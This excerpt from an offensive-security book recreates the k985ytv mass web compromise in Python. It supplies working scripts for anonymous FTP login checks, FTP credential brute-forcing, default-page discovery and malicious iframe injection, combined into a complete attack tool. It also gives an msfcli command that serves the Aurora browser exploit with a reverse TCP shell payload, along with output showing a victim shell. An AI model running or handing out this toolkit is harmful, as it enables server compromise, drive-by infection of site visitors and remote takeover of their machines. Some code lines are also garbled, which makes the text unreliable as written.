Authors: TJ O'Connor
In a recent massive compromise, dubbed k985ytv, attackers used anonymous and stolen FTP credentials to gain access to 22,400 unique domains and 536,000 infected pages (
Huang, 2011
). With access granted, the attackers injected javascript to redirect benign pages to a malicious domain in the Ukraine. Once the infected server redirected the victims, the malicious Ukrainian host exploited victims in order to install a fake antivirus program that stole credit card information from the clients. The k985ytv attack proved to be a resounding success. In the following section, we will recreate this attack in Python.
Examining the FTP logs of the infected servers, we can see exactly what happened. An automated script connected to the target host in order to determine if it contained a default page named index.htm. Next the attacker uploaded a new index.htm, presumably containing the malicious redirection script. The infected server then exploited any vulnerable clients that visited its pages.
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “LIST /folderthis/folderthat/” 226 1862
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “TYPE I” 200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “PASV” 227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “SIZE index.htm” 213 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “RETR index.htm” 226 2573
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “TYPE I” 200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “PASV” 227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “STOR index.htm” 226 3018
In order to better understand the initial vector of this attack, let’s briefly talk about the characteristics of FTP. The File Transfer Protocol (FTP) service allows users to transfer files between hosts in a TCP-based network. Typically, users authenticate to FTP servers using a combination of a username and password. However, some sites provide the ability to authenticate anonymously. In this scenario, a user enters the username “anonymous” and submits an email address in lieu of a password.
Considering the security implications, it seems insane that any sites would offer anonymous FTP access. However, many sites surprisingly provide legitimate reasons for this kind of FTP access such as promoting the idea that this enables a more enhanced means of accessing software updates. We can utilize the ftplib library in Python in order to build a small script to determine if a server offers anonymous logins. The function anonLogin() takes a hostname and returns a Boolean that describes the availability of anonymous logins. In order to determine this Boolean, the function attempts to create an FTP connection with anonymous credentials. If it succeeds, it returns the value “True”. If, in the process of creating a connection, the function throws an exception it returns it as “False”.
import ftplib
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login(‘anonymous’, ‘[email protected]’)
print ‘\n[∗] ’ + str(hostname) +\
‘ FTP Anonymous Logon Succeeded.’
ftp.quit()
return True
except Exception, e:
print ‘\n[-] ’ + str(hostname) +\
‘ FTP Anonymous Logon Failed.’
return False
host = ‘192.168.95.179’
anonLogin(host)
Running the code, we see a vulnerable target with anonymous FTP enabled.
attacker# python anonLogin.py
[∗] 192.168.95.179 FTP Anonymous Logon Succeeded.
While anonymous access grants one way to enter into systems, attackers also have been quite successful with using stolen credentials to gain access to legitimate FTP servers. FTP Client programs, such as FileZilla, often store passwords in plaintext configuration files (
Huang, 2011
). Storing passwords in cleartext in a default location allows custom malware to quickly steal credentials. Security experts have found FTP stealing credentials as recent malware. Furthermore, HD Moore even included the get_filezilla_creds.rb script in a recent Metasploit
release allowing users to quickly scan for FTP credentials after exploiting a target. Imagine a text file of a username/password combination we wanted to brute force through. For the purpose of this script, imagine the username/password combinations stored in a flat text file.
administrator:password
admin:12345
root:secret
guest:guest
root:toor
We can now expand upon our early anonLogin() function to build one called bruteLogin(). This function will take a host and password file as input and return the credentials that allow access to the host. Notice the function iterates through each line of the file, splitting each line at the colon. The function then takes the username and password and attempts to login to the FTP server. If it succeeds, it returns a tuple of a username, password. If it fails, it passes through the exception and continues to the next line. If the function exhausted all lines and failed to successfully login, it returns a tuple of None,None.
import ftplib
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, ‘r’)
for line in pF.readlines():
userName = line.split(‘:’)[0]
passWord = line.split(‘:’)[1].strip(‘\r’).strip(‘\n’)
print “[+] Trying: “+userName+”/”+passWord
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print ‘\n[∗] ’ + str(hostname) +\
‘ FTP Logon Succeeded: ’+userName+“/”+passWord
ftp.quit()
return (userName, passWord)
except Exception, e:
pass
print ‘\n[-] Could not brute force FTP credentials.’
return (None, None)
host = ‘192.168.95.179’
passwdFile = ‘userpass.txt’
bruteLogin(host, passwdFile)
Iterating through the list of user/password combinations, we finally find the account guest with the password guest works.
attacker# python bruteLogin.py
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[∗] 192.168.95.179 FTP Logon Succeeded: guest/guest
With credentials on the FTP server, we must now test if the server also provides web access. In order to test this, we will first list the contents of the FTP server’s directory and search for default web pages. The function returnDefault() takes an FTP connection as the input and returns an array of default pages it finds. It does this by issuing the command NLST, which lists the directory contents. The function checks each file returned by NLST against default web page file names. It also appends any discovered default pages to an array called retList. After completing the iteration of these files, the function returns this array.
import ftplib
def returnDefault(ftp):
try:
dirList = ftp.nlst()
except:
dirList = []
print ‘[-] Could not list directory contents.’
print ‘[-] Skipping To Next Target.’
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if ‘.php’ in fn or ‘.htm’ in fn or ‘.asp’ in fn:
print ‘[+] Found default page: ’ + fileName
retList.append(fileName)
return retList
host = ‘192.168.95.179’
userName = ‘guest’
passWord = ‘guest’
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
returnDefault(ftp)
Looking at the vulnerable FTP server, we see it has three webpages in the base directory. Great! We’ll know move on to infecting these pages with our client side attack vector.
attacker# python defaultPages.py
[+] Found default page: index.html
[+] Found default page: index.php
[+] Found default page: testmysql.php
Now that we have found web page files, we must infect them with a malicious redirect. We will use the Metasploit framework in order to quickly create a malicious server and page hosted at
http://10.10.10.112:8080/exploit
. Notice we choose the exploit ms10_002_aurora, the very same exploit used during Operation Aurora against Google. The page at 10.10.10.112:8080/exploit will exploit redirected victims, which will provide a call back to our command and control server.
attacker# msfcli exploit/windows/browser/ms10_002_aurora LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E
[∗] Please wait while we load the module tree...
<…SNIPPED…>
LHOST => 10.10.10.112
SRVHOST => 10.10.10.112
URIPATH => /exploit
PAYLOAD => windows/shell/reverse_tcp
LHOST => 10.10.10.112
LPORT => 443
[∗] Exploit running as background job.
[∗] Started reverse handler on 10.10.10.112:443
[∗] Using URL:
http://10.10.10.112:8080/exploit
[∗] Server started.
msf exploit(ms10_002_aurora) >
Any vulnerable client that connects to our server at
http://10.10.10.112:8080/exploit
will now fall prey to our exploit. If it succeeds, it will create a reverse TCP shell and grant us access to the Windows command prompt on the
infected client. From the command shell, we can now execute commands as the administrator of the infected victim.
msf exploit(ms10_002_aurora) > [∗] Sending Internet Explorer “Aurora” Memory Corruption to client 10.10.10.107
[∗] Sending stage (240 bytes) to 10.10.10.107
[∗] Command shell session 1 opened (10.10.10.112:443 -> 10.10.10.107:49181) at 2012-06-24 10:05:10 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[∗] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>
Next, we must add a redirect from the benign infected servers to our malicious exploit server. To do this, we can download the default pages found on the benign server, inject an iframe, and upload the malicious pages back to the benign server. Look at the injectPage(). The function injectPage() takes an FTP connection, a page name, and a redirect iframe string as the input. It then downloads a temporary copy of that page. Next, it appends the iframe redirect to our malicious server to that temporary file. Finally, the function uploads the infected page back to the benign server.
import ftplib
def injectPage(ftp, page, redirect):
f = open(page + ‘.tmp’, ‘w’)
ftp.retrlines(‘RETR ’ + page, f.write)
print ‘[+] Downloaded Page: ’ + page
f.write(redirect)
f.close()
print ‘[+] Injected Malicious IFrame on: ’ + page
ftp.storlines(‘STOR ’ + page, open(page + ‘.tmp’))
print ‘[+] Uploaded Injected Page: ’ + page
host = ‘192.168.95.179’
userName = ‘guest’
passWord = ‘guest’
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
redirect = ‘
‘“
http://10.10.10.112:8080/exploit
”>’
injectPage(ftp, ‘index.html’, redirect)
Running our code, we see it download the index.html page and inject it with our malicious content.
attacker# python injectPage.py
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
We will wrap up our entire attack in the attack() function. The attack() function takes a username, password, hostname, and redirect location as input. The function first logs onto the FTP server with the credentials. Next, we have the script search for default web pages. For each of these pages, the script downloads a copy and adds a malicious redirection. The script then uploads the infected page back to the FTP server, which will then infect any future victims that visit that web server.
def attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)
Adding some option parsing, we wrap up the entire script. You’ll notice we first try to gain anonymous access to the FTP server. If this fails, we then brute force credentials and run our attack against the discovered credentials. While this represents only a hundred lines of code, this attack fully replicates the original attack vector of the k985ytv infection.
import ftplib
import optparse
import time
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login(‘anonymous’, ‘[email protected]’)
print ‘\n[∗] ’ + str(hostname) \
+ ‘ FTP Anonymous Logon Succeeded.’
ftp.quit()
return True
except Exception, e:
print ‘\n[-] ’ + str(hostname) +\
‘ FTP Anonymous Logon Failed.’
return False
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, ‘r’)
for line in pF.readlines():
time.sleep(1)
userName = line.split(‘:’)[0]
passWord = line.split(‘:’)[1].strip(‘\r’).strip(‘\n’)
print ‘[+] Trying: ’ + userName + ‘/’ + passWord
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print ‘\n[∗] ’ + str(hostname) +\
‘ FTP Logon Succeeded: ’+userName+‘/’+passWord
ftp.quit()
return (userName, passWord)
except Exception, e:
pass
print ‘\n[-] Could not brute force FTP credentials.’
return (None, None)
def returnDefault(ftp):
try:
dirList = ftp.nlst()
except:
dirList = []
print ‘[-] Could not list directory contents.’
print ‘[-] Skipping To Next Target.’
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if ‘.php’ in fn or ‘.htm’ in fn or ‘.asp’ in fn:
print ‘[+] Found default page: ’ + fileName
retList.append(fileName)
return retList
def injectPage(ftp, page, redirect):
f = open(page + ‘.tmp’, ‘w’)
ftp.retrlines(‘RETR ’ + page, f.write)
print ‘[+] Downloaded Page: ’ + page
f.write(redirect)
f.close()
print ‘[+] Injected Malicious IFrame on: ’ + page
ftp.storlines(‘STOR ’ + page, open(page + ‘.tmp’))
print ‘[+] Uploaded Injected Page: ’ + page
def attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)
def main():
parser = optparse.OptionParser(‘usage%prog ’+\
‘-H
‘[-f
parser.add_option(‘-H’, dest=‘tgtHosts’, \
type=‘string’, help=‘specify target host’)
parser.add_option(‘-f’, dest=‘passwdFile’, \
type=‘string’, help=‘specify user/password file’)
parser.add_option(‘-r’, dest=‘redirect’, \
type=‘string’, help=‘specify a redirection page’)
(options, args) = parser.parse_args()
tgtHosts = str(options.tgtHosts).split(‘, ’)
passwdFile = options.passwdFile
redirect = options.redirect
if tgtHosts == None or redirect == None:
print parser.usage
exit(0)
for tgtHost in tgtHosts:
username = None
password = None
if anonLogin(tgtHost) == True:
username = ‘anonymous’
password = ‘[email protected]’
print ‘[+] Using Anonymous Creds to attack’
attack(username, password, tgtHost, redirect)
elif passwdFile != None:
(username, password) =\
bruteLogin(tgtHost, passwdFile)
if password != None:
‘[+] Using Creds: ’[+\]
username + ‘/’ + password + ‘ to attack’
attack(username, password, tgtHost, redirect)
if __name__ == ‘__main__’:
main()
Running our script against a vulnerable FTP server, we see it brute attempt anonymous logon and fail, enumerate the password guest/guest, and then download and inject every page in the base directory.
attacker# python massCompromise.py -H 192.168.95.179 -r ‘http://10.10.10.112:8080/exploit
”>’ -f userpass.txt
[-] 192.168.95.179 FTP Anonymous Logon Failed.
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[∗] 192.168.95.179 FTP Logon Succeeded: guest/guest
[+] Found default page: index.html
[+] Found default page: index.php
[+] Found default page: testmysql.php
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
[+] Downloaded Page: index.php
[+] Injected Malicious IFrame on: index.php
[+] Uploaded Injected Page: index.php
[+] Downloaded Page: testmysql.php
[+] Injected Malicious IFrame on: testmysql.php
[+] Uploaded Injected Page: testmysql.php
We ensure our client side attack vector is running and wait for a victim to connect the now infected webserver. Soon enough, 10.10.10.107 visits the webserver and as redirected to our client side attack. Success! We get a command shell on a client victim by infecting the webserver by way of the FTP server.
attacker# msfcli exploit/windows/browser/ms10_002_aurora LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E
[∗] Please wait while we load the module tree...
<…SNIPPED…>
[∗] Exploit running as background job.
[∗] Started reverse handler on 10.10.10.112:443
[∗] Using URL:
http://10.10.10.112:8080/exploit
[∗] Server started.
msf exploit(ms10_002_aurora) >
[∗] Sending Internet Explorer “Aurora” Memory Corruption to client 10.10.10.107
[∗] Sending stage (240 bytes) to 10.10.10.107
[∗] Command shell session 1 opened (10.10.10.112:443 -> 10.10.10.107:65507) at 2012-06-24 10:02:00 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[∗] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>
Although the criminals behind Fake Antivirus propagation used the k985ytv attack as one of many approach vectors, km985ytv did successfully compromise 2220 of the 11,000 suspected infected domains. Overall, Fake Antivirus captured the credit cards of over 43 million people by 2009 and continues to grow. Not bad for one hundred lines of Python code. In the next section, we recreate an attack that compromised over 5 million workstations in 200 countries.